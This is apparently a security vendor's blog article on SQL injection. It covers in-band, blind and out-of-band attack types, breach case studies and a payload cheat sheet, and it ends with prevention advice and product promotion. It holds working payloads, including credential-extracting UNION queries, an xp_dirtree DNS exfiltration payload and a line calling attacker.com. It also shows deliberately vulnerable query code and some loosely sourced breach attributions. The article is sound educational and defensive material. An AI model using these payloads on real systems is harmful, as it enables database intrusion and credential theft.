A Detailed Overview of SQL Injections (+ Free cheatsheet)

SQL injection vulnerabilities may affect any website or application that employs an SQL database, such as MySQL, Oracle, SQL Server, or others. Malicious actors may use them to gain unauthorized access to sensitive information, such as customer information, personal data, trade secrets, and more.

For example, SQL injections were responsible for 23% of global vulnerabilities in 2023, Moreover, 19% of the internet faces cross-site scripting (stored) attacks. SQL injections have proven to be a significant source of critical mobile application vulnerabilities. These numbers show that understanding and preventing these threats is extremely important.

Understanding SQLi's particular vulnerability is vital for protecting your systems, products, and security infrastructure.

What is an SQL injection?

SQL injection (SQLi) is an application security vulnerability that allows attackers to manipulate SQL queries by injecting malicious code into input fields. Through SQLi, attackers interfere with an application's database queries and view data they are generally unable to retrieve, which may include sensitive company data, user lists, or private customer details.

Moreover, an attacker can often modify or delete critical data, causing consistent changes to the application’s content or behavior. So, an SQLi exploitation can result in 

1. Unauthorized access, 
2. Data leakage, or 
3. Database modification.

SQL injection attacks enable malicious actors to perform denial-of-service attacks. While this vector can attack any SQL database, websites are the most frequent targets.

Example of an SQL Injection

Let's consider a simplistic example of SQL injection in the context of a login form on a website. Suppose we have a login page with the following SQL query executed upon submission of the login credentials:

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';

In this query:

• ‘input_username’ represents the username input provided by the user.
• ‘input_password’ represents the password input provided by the user.

Now, consider a scenario where the attacker inputs the following into the username field:

' OR '1'='1

When the SQL query is constructed and executed by the application, it becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'input_password';

In this modified query:

• The username condition is bypassed because 1 = 1 always evaluates to true.
• This effectively allows the attacker to log in without a valid username or password, as the query returns all users where the condition is true.
  
  

What are the various types of SQL Injection attacks?

SQL injection (SQLi) attacks are commonly categorized into three main types based on their methodology and impact: 

1. In-band SQLi (classic), 
2. Blind SQLi (inferential) and 
3. Out-of-band SQLi. 

Understanding these classifications provides insights into how attackers exploit vulnerabilities in applications to access backend data and potentially cause damage.

1. In-band SQL injection

In-band SQL injection, or in-band SQLi, is an attack technique in which the attacker uses the same channel to inject malicious SQL commands and retrieve query results. This type of SQLi often leverages error-based or union-based methods to exploit database vulnerabilities. 

The in-band SQLi is known for its simplicity and efficiency and is further divided into two types:

Error-based SQL injection

Attackers provoke error conditions within SQL queries to extract information about the database's structure or contents. Suppose a web application's login form executes the following SQL query:

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';

An attacker inputs ' OR 1=1; -- as the username, causing the query to become:

SELECT * FROM users WHERE username = '' OR 1=1; -- AND password = 'input_password';

This malformed query may trigger an error or change the application's behavior, potentially indicating an SQLi vulnerability that can be used to make other malicious queries to the database.

Union-based SQL injection

Attackers leverage the UNION SQL operator to combine results from multiple select statements, enabling data extraction from other database tables. 

Continuing with the login form example, an attacker inputs ' UNION SELECT null, null, null, null FROM users -- as the username. This results in a query like:

SELECT * FROM users WHERE username = '' UNION SELECT null, null, null, null FROM users -- AND password = 'input_password';

The attacker may extract additional data from the "users" table by combining the original query's result with a null result set.

Real-life example:

To fully understand this type of SQL injection, you must examine real-life examples and analyze how other brands have handled this attack.

In 2011, the hacker group LulzSec executed a devastating SQLi attack on Sony Pictures, compromising millions of user accounts. This highlights the potential consequences of SQLi attacks and the importance of proper input sanitization in web applications.

Attackers employed both forms of in-band SQL injection attacks: 

• Error-based SQLi
  Understanding SQLi techniques like Error-based SQLi can empower you to detect and prevent these attacks. This method injects malicious SQL queries that trigger database errors, revealing valuable information about the database schema.
  
  
• UNION-based SQLi
  This SQLi technique uses the UNION SQL operator to combine the results of a malicious query with those of a legitimate query.
  
  

Payload example:

' UNION SELECT null, username, password FROM users WHERE '1'='1

This payload fetches usernames and passwords from the ‘users’ table. 

Impact of the attack

1. The attack compromised over 1 million user accounts, including email addresses, passwords, and other personally identifiable information. 
2. Significant reputational damage to Sony and legal repercussions due to the user data breach.

2. Blind SQL injection

Blind SQL injection (blind SQLi) is an attack method where the attacker deduces information about the database by observing indirect responses from the application. This technique is used when direct query results are not returned, relying on boolean-based or time-based inference methods.

This type is further divided into two types:

Boolean-based blind SQL injection

Attackers craft SQL queries that prompt the application to return true or false responses based on injected conditions. An attacker inputs ' OR 1=1; -- and ' OR 1=2; -- sequentially as the username. They then deduce whether the query is evaluated as true or false by observing the application's response (e.g., successful login or error message).

Time-based blind SQL injection

Attackers induce delays in SQL queries to discern true or false conditions based on the server's response time. An attacker injects a time-delay payload such as ' OR SLEEP(5); -- into the SQL query. If the application takes significantly longer to respond, it indicates that the condition was actual, whereas a quick response suggests it was false.

Real-life example:

To fully understand this type of SQL injection, you must examine real-life examples and analyze how other brands have handled this attack.

In 2008, Heartland Payment Systems suffered a massive data breach due to an SQLi attack affecting millions of credit and debit card transactions. The web application lacked proper input validation and allowed direct SQLi queries to the backend database. 

Blind SQLi was used to attack the company, which does not return data directly on the web page but requires the attacker to find information based on the application’s response behavior. The attacker used Blind SQLi via Boolean conditions, which involves sending SQL payloads that produce true or false conditions, inferring information based on the presence or absence of specific results.

Payload example:

' AND 1=1; -- 
This payload checks if the condition is true and:
' AND 1=2; -- 
Checks if the condition is false

Impact of the attack

Data from over 100 million credit and debit card transactions was compromised.

Heartland incurred significant financial costs due to fines, settlements, and the implementation of improved security measures.

3. Out-of-band SQL injection

Out-of-band SQL injection (OOB SQLi) is an attack vector that exploits database server features to exfiltrate data through alternative communication channels. This method is employed when direct response channels are unavailable or unstable, often leveraging data retrieval techniques like DNS or HTTP.

Here's an example: suppose the web application allows file uploads, and attackers upload a malicious file containing SQL commands. When the server processes the file, it executes the commands, triggering DNS or HTTP requests to a server controlled by the attacker, thereby transmitting sensitive data.

Real-life example:

To fully understand this type of SQL injection, you must examine real-life examples and analyze how other brands have handled this attack.

In 2012, a group of hackers conducted an out-of-band SQL injection attack against Yahoo, compromising around 450,000 user accounts. This incident underscores the risks associated with OOB SQLi attacks and the need for robust security measures in web applications.

Malicious actors employed the following SQLi techniques to attack the platform: 

• Out-of-Band (OOB) SQLi
  OOB SQLi is an advanced SQL injection technique where the attacker leverages different communication channels to retrieve data from the database. Instead of receiving the results directly within the application's response, the attacker forces the database to make external connections that carry the query results.
  
  
• DNS-based OOB SQLi
  This is a specific type of OOB SQLi where the attacker abuses database functions capable of performing DNS lookups to exfiltrate data via DNS queries.
  
  

Payload example:

'; DECLARE @host varchar(1024); SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.[attacker-controlled-domain]' FROM sys.sql_logins WHERE is_disabled = 0; EXEC('xp_dirtree "\\' + @host + '\foobar$"'); --

This payload retrieves usernames and password hashes from the database and concatenates them into an attacker-controlled domain subdomain. The xp_dirtree stored procedure is then tricked into performing a DNS lookup for this constructed domain, effectively exfiltrating the data.

Impact of the attack

• The attack compromised approximately 450,000 user accounts, including usernames, email addresses, and hashed passwords.
• The breach led to significant reputational damage for Yahoo and increased regulatory scrutiny regarding its security practices.
• Users were forced to change their passwords, and many experienced heightened risks of credential stuffing attacks on other platforms where they might have reused the same credentials.

How to detect SQL injection vulnerabilities in app code?

SQL injection vulnerabilities can be detected using systematic tests against every entry point to the application.

A cheat sheet for SQL injection

You would submit:

• The single quote character and look for anomalies in the code.
• Some SQL-specific syntax evaluates the base value of the entry point and to a different value. Here, you should look for systematic differences in the application responses. 
• Boolean conditions, such as OR 1=1 and OR 1=2, look for differences in the application’s responses. 
• Payloads are designed to trigger time delays when executed within an SQL query and look for differences in response time.
• OAST payloads are designed to trigger an out-of-band network interaction when executed within a SQL query and monitor any resulting interactions.
  
  

String Concatenation:

• Oracle: 'foo'||'bar'
• Microsoft: 'foo'+'bar'
• PostgreSQL: 'foo'||'bar'
• MySQL: 'foo' 'bar' (with a space between strings)
  
  

Substrings:

• Oracle: SUBSTR('foobar', 4, 2)
• Microsoft: SUBSTRING('foobar', 4, 2)
• PostgreSQL: SUBSTRING('foobar', 4, 2)
• MySQL: SUBSTRING('foobar', 4, 2)
  
  

Comments:

• Oracle: --comment
• Microsoft: --comment or /comment/
• PostgreSQL: --comment or /comment/
• MySQL: -- comment, #comment, or /comment/
  
  

Database version:

• Oracle: SELECT banner FROM v$version
• Microsoft: SELECT @@version
• PostgreSQL: SELECT version()
• MySQL: SELECT @@version
  
  

Conditional statements:

1. Oracle: CASE WHEN condition THEN true_result ELSE false_result END
2. Microsoft: IF condition true_part ELSE false_part
3. PostgreSQL: CASE WHEN condition THEN true_result ELSE false_result END
4. MySQL: IF(condition, true_result, false_result)
   
   

Time delays:

1. Oracle: dbms_pipe.receive_message(('a'),10)
2. Microsoft: WAITFOR DELAY '0:0:10'
3. PostgreSQL: SELECT pg_sleep(10)
4. MySQL: SELECT SLEEP(10)
   
   

Union attacks:

1. UNION SELECT column1, column2 FROM table_name--
2. UNION ALL SELECT column1, column2 FROM table_name--
   
   

Boolean-based blind:

1. AND 1=1--
2. AND 1=2--
   
   

Time-based blind:

1. AND (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 'a' END))--

Error-based:

• AND (SELECT UPPER(XMLType(Chr(60)||Chr(58)||Chr(62)||(SELECT DISTINCT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual)))))--

How to prevent SQL injection in mobile apps?

Preventing SQL injection vulnerabilities requires a careful approach combining manual code review with advanced automated tools designed to detect weaknesses in web applications. This thorough process ensures that potential security gaps are identified and addressed effectively. 

Manual inspection

1. Input validation analysis

   Scan the application's source code to analyze how user inputs are handled, focusing on interaction points like forms, search fields, and URL parameters. You should also identify areas where input validation is lacking or is insufficient.
   
   

2. Parametrized queries

   Encapsulate and parametrize SQL commands to separate the SQL query from the user input values. When user input values are passed as parameters, they can no longer contain executable code since the parameter is treated as a literal value and checked for type and length.
   
   

3. Error handling assessment

   Investigate how the application handles errors from SQL queries. Look for cases where error messages deal with sensitive database information or reveal the underlying SQL query structure, potentially aiding attackers in crafting successful injection payloads.
   
   

Automated scanning

• Web Application Firewalls (WAF)

  Implement WAFs with SQL injection detection capabilities. Configure WAF rules to scrutinize incoming HTTP requests for SQL injection patterns and deviations from expected behavior, thus intercepting and blocking potential attacks in real-time.

• Vulnerability scanners

  Leverage comprehensive vulnerability scanners such as Appknox to perform exhaustive assessments of applications for as many security risks as possible, including SQL injection vulnerabilities.
  
  

Penetration testing

• Manual exploitation

  Conduct thorough manual penetration testing to exploit suspected SQL injection vulnerabilities actively. Use tools like Appknox to automate aspects of the testing process while maintaining a hands-on approach to verify results and identify false positives. 
  
  

• Black box testing

  Approach the application from an external attacker's perspective, with limited knowledge of its inner workings. Systematically test input fields and parameters to uncover potential injection vectors, leveraging a combination of automated scanning tools and manual inspection.
  
  

• Grey box testing

  Combine black box and white box testing elements, leveraging partial knowledge of the application's internals to focus efforts on high-risk areas. This approach helps in targeted testing while still harnessing automated tools and manual analysis to uncover vulnerabilities effectively.

   

Automated testing with Appknox Vulnerability Assessment (VA) tool

• Static Application Security Testing (SAST): Appknox has 50+ SAST test cases to test your application during the non-running time state.
  
  
• Dynamic Application Security Testing (DAST): This method tests the application on real devices, detects loopholes in the data flow, and provides a detailed CVSS report. 
  
  
• API Testing: During the DAST scan, we gather a comprehensive list of APIs from which you can custom-select the revealed APIs and tailor the required focus areas. API testing in Appknox is fully automated and secures all endpoints of your mobile application. 

Manual assessment by Appknox security experts for thorough testing

When carried out by a penetration testing team, manual assessment highlights the most challenging vulnerabilities automated software will fail to identify. 

Our team of experts at Appknox will help you:

• Identify your tech stack.
• Analyze the threat landscape.
• Set up breakpoints on critical functionalities.
• Test responses and detect bugs.
• Perform exploits for advanced threat detection.
  
  

How Appkox can help you prevent SQL injection attacks?

Appknox is one of the most advanced enterprise-grade security solutions. It employs best-in-world technology and a human approach to ensure the security of your applications.

With on-premise deployment, you can host Appknox on your servers for enhanced security and confidentiality, allowing you to prioritize data privacy and compliance.

You can use Appknox for automatic updates and maintenance if you want to opt for the cloud services. Penetration testing and vulnerability assessment tools offer a comprehensive view of risks, providing scores after detailed evaluations.

Real-time DAST testing by Appknox is a powerful automation simulation feature that helps you understand the real-life interactions of your apps from malicious intent.

Manually identifying security gaps based on the long laundry list of compliances is challenging and time-consuming. Appknox, an automated vulnerability assessment tool, swiftly detects and tracks potential vulnerabilities, generating detailed CVSS reports.
These reports provide actionable remediation notes and the business impact of vulnerabilities found, helping you understand the gravity of the vulnerabilities to ensure speedy remediation.

With Appknox, you can bring visibility into the entire security process by providing critical insights to key stakeholders and CXOs in your organization. We regularly submit your app to the dashboard to enhance CI/CD integration, which scans your code during the build to ensure security. You can understand critical risks or exposures due to noncompliance. This dashboard provides an extensive framework that adds new outcomes and KPIs to your security process to understand industry and organizational growth. 

Frequently Asked Questions

1. What allows SQL injection?

2. How can prepared statements with parameterized queries be used to mitigate SQL injection?

public boolean authenticate(String name, String pass) {
   PreparedStatement pstmt;
   String sql = "SELECT name FROM user WHERE name = ? AND passwd = ?";
   pstmt = this.conn.prepareStatement(sql);
   pstmt.setString(1, name);
   pstmt.setString(2, pass);
   ResultSet results = pstmt.executeQuery();
   return results.first();
}

3. Where can you generally find SQL Injections?

Most SQL injection vulnerabilities occur within the WHERE clause of a SELECT query, which most testers are familiar with. However, most vulnerabilities can occur at any location within the query and in different query types. 

1. Dynamic SQL queries occur when user input is linked directly into a SQL query string.

query = "SELECT * FROM users WHERE username = '" + user_input + "'"
cursor.execute(query)

2. When search or filter criteria are constructed from user input without using prepared statements.

$query = "SELECT * FROM products WHERE name LIKE '%" . $search_term . "%'";
$result = mysqli_query($connection, $query);

3. When processing form inputs like login credentials, registration data, or any other user-submitted data.

String query = "SELECT * FROM users WHERE email = '" + email + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

4. Which layer attack is SQL injection?

SQL injection (SQLi) is a Layer 7 (Application Layer) attack that exploits vulnerabilities in the application’s data processing and access layers. This attack embeds user inputs into SQL queries without proper sanitization or parameterization, which can lead to unauthorized access, data leakage, and manipulation of the underlying database.